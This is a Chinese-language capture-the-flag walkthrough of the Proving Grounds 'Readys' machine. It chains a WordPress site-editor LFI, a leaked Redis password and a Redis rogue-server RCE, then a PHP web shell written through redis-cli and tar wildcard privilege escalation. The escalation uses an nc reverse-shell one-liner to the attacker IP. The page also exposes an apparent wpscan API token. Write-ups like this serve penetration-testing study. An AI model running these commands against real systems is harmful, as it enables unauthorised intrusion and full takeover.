Proving Grounds Practice : Readys Walkthrough
Proving Grounds Practice : Readys Walkthrough
Foothole (立足點 ) :
- 6379 Port 發現 Redis,使用 PoC 顯示要求權限
- 80 Port 發現 WordPress 且套件 site-editor 有 LFI 問題
- 透過 LFI 讀取 redis.conf 裡面的密碼後利用 redis 漏洞進入拿到 shell
PE ( 提權 ) :
- 現有使用者限制一堆且沒有啥權限,發現通配符提權但利用路徑沒有權限寫入
- 列舉可寫入目錄後測試在 /opt/redis-files 寫入 php-reverse-shell.php 執行後成功切換使用者 alice
- alice 直接利用通配符提權後成為 root
注意事項 :
- Redis 設定檔 redis.conf
- 有不同帳號就是有梗,試著想各種方式切換使用者
- Redis 標準利用,通配符標準利用
- Redis CLI 如何寫入檔案
第一步 Rustscan,└─$ rustscan -a 192.168.207.166 --scripts none --ulimit 5000 | tee rustscan
22、80 與 6379 Port (這是已知的 Redis 預設 Port)
snmp closed,└─$ sudo nmap -sU -p 161 192.168.207.166 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 22,80,6379 192.168.207.166 | tee nmap
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
參考前兩篇直接 Redis 漏洞利用進去看看
參考 : https://your-it-note.blogspot.com/2024/03/proving-grounds-practice-wombo.html
參考 : https://your-it-note.blogspot.com/2024/03/proving-grounds-practice-blackgate.html
Redis 好用的入侵工具,參考 https://github.com/n0b0dyCN/redis-rogue-server
一樣先將 exp.so、redis-rogue-server.py 下載到同一個路徑然後直些利用
└─$ ./redis-rogue-server.py --rhost 192.168.207.166 --lhost 192.168.45.160
之前是因為卡在 21000 Port 回不來,換成 6379 Port 就過了,這裡一樣換 Port 試試看
6379 Port 一樣卡在同一個地方
80、443、445 都一樣狀況
再跑一次 445 帶上參數 -v 看一下較詳細的內容
發現卡在這一行 [ [->] b'-NOAUTH Authentication required.\r\n ],要求驗證
之前還有用過 nc 直接登入 Redis 試試看看可否登入
一樣顯示認證要求 -NOAUTH Authentication required.
看了一下 Redis 文件,Redis 預設不用帳號密碼,但可以設定驗證模式
預設第一種是僅有密碼驗證,第二種是帳號+密碼驗證
參考 : 6379 - Pentesting Redis | HackTricks | HackTricks
有告知該資訊是需要有效的 cerdential
如果只有設定密碼,預設的帳號就是 "default"
密碼是直接寫在設定檔中,設定檔檔名是 "redis.conf"
使用的字眼是 requirepass "這裡直接寫密碼的明碼"
這句話 [ In cases like this one you will need to find valid credentials to interact with Redis so you could try to brute-force it. ]
意思是說你必須找到有效的驗證或是暴力破解它,先找找看有無有效的驗證真的不行再來爆破
whatweb,└─$ whatweb http://192.168.207.166 | tee whatweb
看到很讚的字眼 "WordPress"
80 /
80 /robots.txt
80 /wp-admin 嘗試弱帳號密碼登入........失敗
一樣先 gobuster 看看,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.207.166 -c -t 150 -x txt,pdf,git,php | tee gobuster
都是 WordPress 相關的路徑沒有特別的
標準作業 wpscan 帶 API Key 掃掃看,└─$ wpscan --url http://192.168.207.166/ -e vp --plugins-detection mixed --api-token SLeabE8apPWHJlKslTsfKJX5Omi3cXffrTFzAsg5CZQ
wpscan 結果優先看 plug-in 的套件
掃完的結果只有一個 site-editor,且直接告知有 LFI 可以利用
https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44
另一個快速掃 WordPress 套件的指令,curl -s -X GET 'http://192.168.207.166/' | grep plugins | awk '{print $2}' | awk '{print $6}' FS='/' | sort -u
也可以看到是套件名稱是 site-editor
直接看看 wpscan 的說明,沒有看到 PoC
換查看 Exploit-DB 44340,https://www.exploit-db.com/exploits/44340
直接提供了 PoC,
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
直接利用測試看看,└─$ curl -i http://192.168.207.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
另外上面得知若 Redis 有要求驗證會將密碼以明碼的方式寫在 redis.conf 中
一般安裝會在
- /opt/bitnami/redis/etc/redis. conf
- /usr/local/etc/redis.conf
- /etc/redis/redis.conf
結果檔案在 /etc/redis/redis.conf,└─$ curl -i http://192.168.207.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf | tee redis.conf
過濾 requirepass 發現密碼 Ready4Redis?
另外在察看 Redis 相關文件時有發現 kali 有內建 redis-cli 指令,不用再用 nc
這一次直接 redis-cli 帶密碼登入進去看看,└─$ redis-cli -h 192.168.207.166 -a 'Ready4Redis?'
回看 RCE 的利用也可以帶密碼
RCE 漏洞利用,└─$ ./redis-rogue-server.py --rhost 192.168.207.166 --lhost 192.168.45.160 --passwd 'Ready4Redis?'
先試著切換我們搜尋到的使用者看看 sudo alice,沒有成功且 /home 都沒有權限
cat /etc/crontab,發現一個 root 權限執行的備份檔 /usr/local/bin/backup.sh
而且現有使用者還有權限執行
看一下 backup.sh 內容,標準的 tar 通配符梗,利用路徑在 /var/www/html
當前使用者對該路徑資料夾沒有寫入權限,所以無法直接利用要另想出路
查看可寫入路徑 redis@readys:/etc/redis$ find / -writable -type d 2>/dev/null
切換到 /opt/redis-files 路徑上傳寫入 php 後門檔案 simple-backdoor.php
然後回到 LFI 的利用看一下權限有沒有不一樣,curl -i http://192.168.207.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/opt/redis-files/simple-backdoor.php?cmd=whoami
檔案路徑沒問題但是執行後失敗
改成上傳 reverse shell 檔案 php-reverse-shell.php
網站直接 LFI 存取,http://192.168.207.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/opt/redis-files/php-reverse-shell.php
拿到新的 Reverse Shell 了,且一連線進來發現 id 是 alice
一樣查看 root 權限執行的 backip.sh 中的通配符利用路徑 /var/www/html 有無權限
發現該資料夾 Owner 就是現有使用者 alice 且可以寫入
通配符標準利用
echo "mkfifo /tmp/lhennp; nc 192.168.45.160 4444 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
4444 Port Reverse Shell 進來了,whoami & id 看一下確認是 root
補充說明,其實也可以透過 redis-cli 寫入檔案然後執行 nc or python 拿 reverse shell 如下
$ config set dir /opt/redis-files
$ config set dbfilename cmd.php
$ set test'<?php system($_GET["cmd"]); ?>'
$ save
cmd=whoami 看一下是 alice
這裡 cmd 會有作用但是前面 simple-backdoor.php 沒有作用是因為寫入 cmd 指令時不同
可以看上圖是用 <?php system($_GET["cmd"]); ?>
執行 python 拿 Reverse Shell
留言
張貼留言